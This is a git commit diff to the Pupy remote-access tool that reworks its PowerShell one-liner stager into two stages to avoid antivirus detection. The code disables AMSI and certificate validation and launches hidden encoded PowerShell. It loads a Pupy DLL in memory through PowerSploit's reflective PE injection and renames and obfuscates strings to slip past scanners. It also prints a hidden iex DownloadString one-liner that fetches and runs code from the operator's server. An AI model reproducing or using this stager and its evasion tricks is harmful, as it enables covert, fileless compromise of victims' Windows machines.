Avoid AV detection with ps1_oneliner (2 stages now)

This commit is contained in:
quentinhardy 2016-10-19 08:54:02 -04:00
parent 732cf7b6b4
commit 1e74076749
2 changed files with 129 additions and 90 deletions

View File

@ -1,32 +1,50 @@
# -*- coding: UTF8 -*- # -*- coding: UTF8 -*-
from rpyc.utils.classic import upload from rpyc.utils.classic import upload
import base64, re, subprocess import base64, re, subprocess
from subprocess import PIPE, Popen from subprocess import PIPE, Popen
def execute_powershell_script(module, content, function, x64IfPossible=False): def execute_powershell_script(module, content, function, x64IfPossible=False, script_name=None):
''' '''
To get function output, Write-Output should be used (stdout output). To get function output, Write-Output should be used (stdout output).
If you use Write-Verbose in your code for example, the output will be not captured because the output is not done over stdout (with Write-Verbose) If you use Write-Verbose in your code for example, the output will be not captured because the output is not done over stdout (with Write-Verbose)
''' '''
# content = re.sub("Write-Verbose ","Write-Output ", content, flags=re.I) # could break the output with mimikatz
content = re.sub("Write-Error ","Write-Output ", content, flags=re.I)
content = re.sub("Write-Warning ","Write-Output ", content, flags=re.I)
path="powershell.exe" path="powershell.exe"
arch = 'x64'
if x64IfPossible: if x64IfPossible:
if "64" in module.client.desc['os_arch'] and "32" in module.client.desc['proc_arch']: if "64" in module.client.desc['os_arch'] and "32" in module.client.desc['proc_arch']:
path=r"C:\Windows\SysNative\WindowsPowerShell\v1.0\powershell.exe" path=r"C:\\Windows\\SysNative\\WindowsPowerShell\\v1.0\\powershell.exe"
elif "32" in module.client.desc['proc_arch']:
arch = 'x86'
fullargs=[path, "-C", "-"] fullargs=[path, "-C", "-"]
p = module.client.conn.modules.subprocess.Popen(fullargs, stdout=PIPE, stderr=PIPE, stdin=PIPE, bufsize=0, universal_newlines=True, shell=True) # create and store the powershell object if it not exists
p.stdin.write("$base64=\"\""+"\n") if not module.client.powershell[arch]['object']:
n = 20000 p = module.client.conn.modules.subprocess.Popen(fullargs, stdout=PIPE, stderr=PIPE, stdin=PIPE, bufsize=0, universal_newlines=True, shell=True)
line = base64.b64encode(content) module.client.powershell[arch]['object'] = p
tab = [line[i:i+n] for i in range(0, len(line), n)] else:
for t in tab: p = module.client.powershell[arch]['object']
p.stdin.write("$base64+=\"%s\"\n" % t)
p.stdin.flush()
p.stdin.write("$d=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($base64))\n") if script_name not in module.client.powershell[arch]['scripts_loaded']:
p.stdin.write("Invoke-Expression $d\n") module.client.powershell[arch]['scripts_loaded'].append(script_name)
p.stdin.write("$a=Invoke-Expression \"%s\" | Format-Table -HideTableHeaders | Out-String\n" % function) p.stdin.write("$base64=\"\""+"\n")
n = 20000
line = base64.b64encode(content)
tab = [line[i:i+n] for i in range(0, len(line), n)]
for t in tab:
p.stdin.write("$base64+=\"%s\"\n" % t)
p.stdin.flush()
p.stdin.write("$d=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($base64))\n")
p.stdin.write("Invoke-Expression $d\n")
# else: the powershell script is already loaded, call the function wanted
p.stdin.write("\n$a=Invoke-Expression \"%s\" | Format-Table | Out-String\n" % function)
p.stdin.write("$b=[System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes(\"$a\"))\n") p.stdin.write("$b=[System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes(\"$a\"))\n")
p.stdin.write("Write-Host $b\n") p.stdin.write("Write-Host $b\n")
@ -35,7 +53,6 @@ def execute_powershell_script(module, content, function, x64IfPossible=False):
for i in p.stdout.readline(): for i in p.stdout.readline():
output += i output += i
output = base64.b64decode(output) output = base64.b64decode(output)
p.stdin.write("exit\n")
return output return output
def remove_comments(string): def remove_comments(string):
@ -68,3 +85,14 @@ def obfuscatePowershellScript(code):
if "function Invoke-ReflectivePEInjection" in newCode: if "function Invoke-ReflectivePEInjection" in newCode:
newCode = newCode.replace("$TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE', [UInt16] 0x0040) | Out-Null", "$TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERIS'+'TICS_DYNAMIC_BASE', [UInt16] 0x0040) | Out-Null") newCode = newCode.replace("$TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE', [UInt16] 0x0040) | Out-Null", "$TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERIS'+'TICS_DYNAMIC_BASE', [UInt16] 0x0040) | Out-Null")
return newCode return newCode
def obfs_ps_script(script):
"""
Strip block comments, line comments, empty lines, verbose statements,
and debug statements from a PowerShell source file.
"""
# strip block comments
strippedCode = re.sub(re.compile('<#.*?#>', re.DOTALL), '', script)
# strip blank lines, lines starting with #, and verbose/debug statements
strippedCode = "\n".join([line for line in strippedCode.split('\n') if ((line.strip() != '') and (not line.strip().startswith("#")) and (not line.strip().lower().startswith("write-verbose ")) and (not line.strip().lower().startswith("write-debug ")) )])
return strippedCode

View File

@ -2,104 +2,113 @@
# -*- coding: UTF8 -*- # -*- coding: UTF8 -*-
from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
import os.path import os.path
import base64
from pupylib.utils.term import colorize from pupylib.utils.term import colorize
import textwrap
import random, string import random, string
import time from pupygen import get_edit_pupyx86_dll
from pupygen import get_edit_pupyx86_dll, get_edit_pupyx64_dll
try: try:
import ConfigParser as configparser import ConfigParser as configparser
except ImportError: except ImportError:
import configparser import configparser
from ssl import wrap_socket from ssl import wrap_socket
from base64 import b64encode
import re
from modules.lib.windows.powershell_upload import obfuscatePowershellScript, obfs_ps_script
ROOT=os.path.abspath(os.path.join(os.path.dirname(__file__),"..","..")) ROOT=os.path.abspath(os.path.join(os.path.dirname(__file__),"..",".."))
def pad(s): #url_random_one = ''.join(random.SystemRandom().choice(string.ascii_uppercase + string.digits) for _ in range(5))
""" #url_random_two = ''.join(random.SystemRandom().choice(string.ascii_uppercase + string.digits) for _ in range(5))
Performs PKCS#7 padding for 128 bit block size. ### url_random_one and url_random_two variables are fixed because if you break you ps1_neliner listener, the payload will be not be able to get stages -:(
""" url_random_one = "eiloShaegae1"
return str(s) + chr(16 - len(str(s)) % 16) * (16 - len(str(s)) % 16) url_random_two = "IMo8oosieVai"
from Crypto.Cipher import AES def getInvokeReflectivePEInjectionWithDLLEmbedded(payload_conf):
def aes_encrypt(data, key): '''
IV="\x00"*16 Return source code of InvokeReflectivePEInjection.ps1 script with pupy dll embedded
cipher = AES.new(key, AES.MODE_CBC, IV) Ready for executing
return cipher.encrypt(pad(data)) '''
SPLIT_SIZE = 100000
x64InitCode, x86InitCode, x64ConcatCode, x86ConcatCode = "", "", "", ""
code = """
$PEBytes = ""
{0}
$PEBytesTotal = [System.Convert]::FromBase64String({1})
Invoke-ReflectivePEInjection -PEBytes $PEBytesTotal -ForceASLR
"""#{1}=x86dll
binaryX86=b64encode(get_edit_pupyx86_dll(payload_conf))
binaryX86parts = [binaryX86[i:i+SPLIT_SIZE] for i in range(0, len(binaryX86), SPLIT_SIZE)]
for i,aPart in enumerate(binaryX86parts):
x86InitCode += "$PEBytes{0}=\"{1}\"\n".format(i,aPart)
x86ConcatCode += "$PEBytes{0}+".format(i)
print(colorize("[+] ","green")+"X86 pupy dll loaded and {0} variables generated".format(i+1))
script = obfuscatePowershellScript(open(os.path.join(ROOT, "external", "PowerSploit", "CodeExecution", "Invoke-ReflectivePEInjection.ps1"), 'r').read())
return obfs_ps_script("{0}\n{1}".format(script, code.format(x86InitCode, x86ConcatCode[:-1])))
def create_ps_command(ps_command, force_ps32=False, nothidden=False):
ps_command = """[Net.ServicePointManager]::ServerCertificateValidationCallback = {{$true}};
try{{
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed', 'NonPublic,Static').SetValue($null, $true)
}}catch{{}}
{}
""".format(ps_command)
PS1_DECRYPT=""" if force_ps32:
[Reflection.Assembly]::LoadWithPartialName("System.Security") command = """$command = '{}'
function AES-Decrypt($Encrypted, $Passphrase) if ($Env:PROCESSOR_ARCHITECTURE -eq 'AMD64')
{ {{
$AES=New-Object System.Security.Cryptography.AesCryptoServiceProvider
$IV = New-Object Byte[] 16 $exec = $Env:windir + '\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe -exec bypass -window hidden -noni -nop -encoded ' + $command
$AES.Mode="CBC" IEX $exec
$AES.KeySize=128 }}
$AES.Key=[Text.Encoding]::ASCII.GetBytes($Passphrase) else
$AES.IV = $IV {{
$AES.Padding = "None" $exec = [System.Convert]::FromBase64String($command)
$d = $AES.CreateDecryptor() $exec = [Text.Encoding]::Unicode.GetString($exec)
$ms = new-Object IO.MemoryStream @(,$Encrypted) IEX $exec
$cs = new-Object Security.Cryptography.CryptoStream $ms,$d,"Read" }}""".format(b64encode(ps_command.encode('UTF-16LE')))
$count = $cs.Read($Encrypted, 0, $Encrypted.Length)
$cs.Close() if nothidden is True:
$ms.Close() command = 'powershell.exe -exec bypass -window maximized -encoded {}'.format(b64encode(command.encode('UTF-16LE')))
$AES.Clear() else:
$Encrypted[0..($Encrypted.Length - $Encrypted[-1] - 1)] command = 'powershell.exe -exec bypass -window hidden -noni -nop -encoded {}'.format(b64encode(command.encode('UTF-16LE')))
}
""" elif not force_ps32:
if nothidden is True:
command = 'powershell.exe -exec bypass -window maximized -encoded {}'.format(b64encode(ps_command.encode('UTF-16LE')))
else:
command = 'powershell.exe -exec bypass -window hidden -noni -nop -encoded {}'.format(b64encode(ps_command.encode('UTF-16LE')))
return command
class PupyPayloadHTTPHandler(BaseHTTPRequestHandler): class PupyPayloadHTTPHandler(BaseHTTPRequestHandler):
def do_GET(self): def do_GET(self):
if self.path=="/p": # print self.server.random_reflectivepeinj_name
if self.path=="/%s" % url_random_one:
self.send_response(200) self.send_response(200)
self.send_header('Content-type','text/html') self.send_header('Content-type','text/html')
self.end_headers() self.end_headers()
pe_bootloader=PS1_DECRYPT+"\n"+(textwrap.dedent("""
$p="%s"
$rpi=(((New-Object System.Net.WebClient).DownloadData("http://%s:%s/rpi")))
$path="b64"
if ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -ne 8){$path="b32"}
$raw=([Byte[]]((New-Object System.Net.WebClient).DownloadData("http://%s:%s/"+$path)))
iex([System.Text.Encoding]::UTF8.GetString( (AES-Decrypt $rpi $p)))
Write-Output "DLL received"
$raw=AES-Decrypt $raw $p
Write-Output "Reflective DLL decrypted"
[GC]::Collect()
%s -ForceASLR -PEBytes $raw #-Verbose
"""%(self.server.aes_key, self.server.link_ip, self.server.link_port, self.server.link_ip, self.server.link_port, self.server.random_reflectivepeinj_name)))
self.wfile.write(pe_bootloader)
print colorize("[+] ","green")+" powershell script stage1 served !"
elif self.path=="/rpi": launcher = """
#serve the powershell script IEX (New-Object Net.WebClient).DownloadString('http://{server}:{port}/{url_random_two}');""".format(
server=self.server.link_ip,
port=self.server.link_port,
url_random_two=url_random_two
)
launcher = create_ps_command(launcher, force_ps32=True, nothidden=False)
self.wfile.write(launcher)
print colorize("[+] ","green")+"[Stage 1/2] Powershell script served !"
elif self.path=="/%s" % url_random_two:
self.send_response(200) self.send_response(200)
#self.send_header('Content-type','text/html')
self.send_header('Content-type','application/octet-stream') self.send_header('Content-type','application/octet-stream')
self.end_headers() self.end_headers()
code=open(os.path.join(ROOT, "external", "PowerSploit", "CodeExecution", "Invoke-ReflectivePEInjection.ps1"), 'r').read() code=open(os.path.join(ROOT, "external", "PowerSploit", "CodeExecution", "Invoke-ReflectivePEInjection.ps1"), 'r').read()
code=code.replace("Invoke-ReflectivePEInjection", self.server.random_reflectivepeinj_name) # seems to bypass some av like avast :o) code=code.replace("Invoke-ReflectivePEInjection", self.server.random_reflectivepeinj_name) # seems to bypass some av like avast :o)
d=aes_encrypt(code, self.server.aes_key) self.wfile.write(getInvokeReflectivePEInjectionWithDLLEmbedded(self.server.payload_conf))
self.wfile.write(d) print colorize("[+] ","green")+"[Stage 2/2] Powershell Invoke-ReflectivePEInjection script (with dll embedded) served!"
print colorize("[+] ","green")+" powershell Invoke-ReflectivePEInjection.ps1 script served !" print colorize("[+] ","green")+"You should have a pupy shell in few seconds from this host..."
elif self.path=="/b32":
#serve the pupy 32bits dll to load from memory
self.send_response(200)
self.send_header('Content-type','application/octet-stream')
self.end_headers()
print colorize("[+] ","green")+" generating x86 reflective dll ..."
self.wfile.write(aes_encrypt(get_edit_pupyx86_dll(self.server.payload_conf), self.server.aes_key))
print colorize("[+] ","green")+" pupy x86 reflective dll served !"
elif self.path=="/b64":
#serve the pupy 64bits dll to load from memory
self.send_response(200)
self.send_header('Content-type','application/octet-stream')
self.end_headers()
print colorize("[+] ","green")+" generating amd64 reflective dll ..."
self.wfile.write(aes_encrypt(get_edit_pupyx64_dll(self.server.payload_conf), self.server.aes_key))
print colorize("[+] ","green")+" pupy amd64 reflective dll served !"
else: else:
self.send_response(404) self.send_response(404)
self.end_headers() self.end_headers()
@ -134,7 +143,9 @@ def serve_ps1_payload(conf, ip="0.0.0.0", port=8080, link_ip="<your_ip>", ssl=Fa
raise raise
print colorize("[+] ","green")+"copy/paste this one-line loader to deploy pupy without writing on the disk :" print colorize("[+] ","green")+"copy/paste this one-line loader to deploy pupy without writing on the disk :"
print " --- " print " --- "
oneliner=colorize("powershell.exe -w hidden -noni -nop -c \"iex(New-Object System.Net.WebClient).DownloadString('http://%s:%s/p')\""%(link_ip, port), "green") oneliner=colorize("powershell.exe -w hidden -noni -nop -c \"iex(New-Object System.Net.WebClient).DownloadString('http://%s:%s/%s')\""%(link_ip, port, url_random_one), "green")
# This line could work check when proxy is used (have to be tested)
# oneliner=colorize("powershell.exe -w hidden -noni -nop -c $K=new-object net.webclient;$K.proxy=[Net.WebRequest]::GetSystemWebProxy();$K.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $K.downloadstring('http://%s:%s/pa')"%(link_ip, port), "green")
print oneliner print oneliner
print " --- " print " --- "